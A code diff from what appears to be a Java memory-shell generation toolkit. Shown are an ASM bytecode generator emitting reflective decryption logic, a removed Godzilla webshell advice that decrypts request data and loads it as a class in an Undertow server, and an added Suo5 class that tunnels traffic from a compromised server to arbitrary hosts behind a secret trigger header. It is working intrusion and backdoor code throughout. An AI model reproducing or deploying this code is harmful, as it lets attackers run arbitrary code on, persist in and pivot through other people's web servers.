"([Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20
|
||||
|
||||
|
||||
// Initialize cipher for decryption
|
||||
// cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load
|
||||
// cipherInitMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// Decrypt data
|
||||
// data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10
|
||||
}
|
||||
|
||||
private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) {
|
||||
// String parameter = (String) request.getClass().getMethod("getParameter",
|
||||
// String.class).invoke(request, pass);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke getParameter
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9
|
||||
}
|
||||
|
||||
private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) {
|
||||
// String value = (String) request.getClass().getMethod("getHeader",
|
||||
// String.class).invoke(request, headerName);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getHeader");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke getHeader
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8
|
||||
}
|
||||
|
||||
private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex,
|
||||
int base64ExceptionIndex) {
|
||||
// Try to use java.util.Base64 decoder first
|
||||
Label base64DecodeTrialStart = new Label();
|
||||
Label base64DecodeCatch = new Label();
|
||||
Label afterBase64Decode = new Label();
|
||||
|
||||
mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(base64DecodeTrialStart);
|
||||
|
||||
// Class<?> clazz = Class.forName("java.util.Base64", true,
|
||||
// Thread.currentThread().getContextClassLoader());
|
||||
mv.visitLdcInsn("java.util.Base64");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11
|
||||
|
||||
// Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz,
|
||||
// null);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class
|
||||
mv.visitLdcInsn("getDecoder");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12
|
||||
|
||||
// byArray = (byte[])object.getClass().getMethod("decode",
|
||||
// String.class).invoke(object, string7);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("decode");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
|
||||
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode);
|
||||
|
||||
// Catch block for fallback to sun.misc.BASE64Decoder
|
||||
mv.visitLabel(base64DecodeCatch);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13
|
||||
|
||||
// base64 = Class.forName("sun.misc.BASE64Decoder", true,
|
||||
// Thread.currentThread().getContextClassLoader());
|
||||
mv.visitLdcInsn("sun.misc.BASE64Decoder");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11
|
||||
|
||||
// Object decoder = base64.newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12
|
||||
|
||||
// data = (byte[]) decoder.getClass().getMethod("decodeBuffer",
|
||||
// String.class).invoke(decoder, parameter);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("decodeBuffer");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
|
||||
|
||||
mv.visitLabel(afterBase64Decode);
|
||||
}
|
||||
}
|
||||
-92
@@ -1,92 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla.undertow;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String key = "key";
|
||||
String pass = "pass";
|
||||
String md5 = "md5";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||
c.init(2, keySpec);
|
||||
data = c.doFinal(data);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
|
||||
c.init(1, keySpec);
|
||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||
String result = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
writer.write(result);
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+148
File diff suppressed because one or more lines are too long
+114
File diff suppressed because one or more lines are too long
+100
File diff suppressed because one or more lines are too long
@@ -0,0 +1,569 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5;
|
||||
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5() {
|
||||
}
|
||||
|
||||
public Suo5(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = args[0];
|
||||
Object response = args[1];
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(Object request, Object response) throws Exception {
|
||||
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(Object request, Object resp) throws Exception {
|
||||
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
// 0x00 create socket
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5 p = new Suo5(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
try {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
}catch (Exception ignored) {
|
||||
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(Object request, Object resp) throws
|
||||
Exception {
|
||||
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
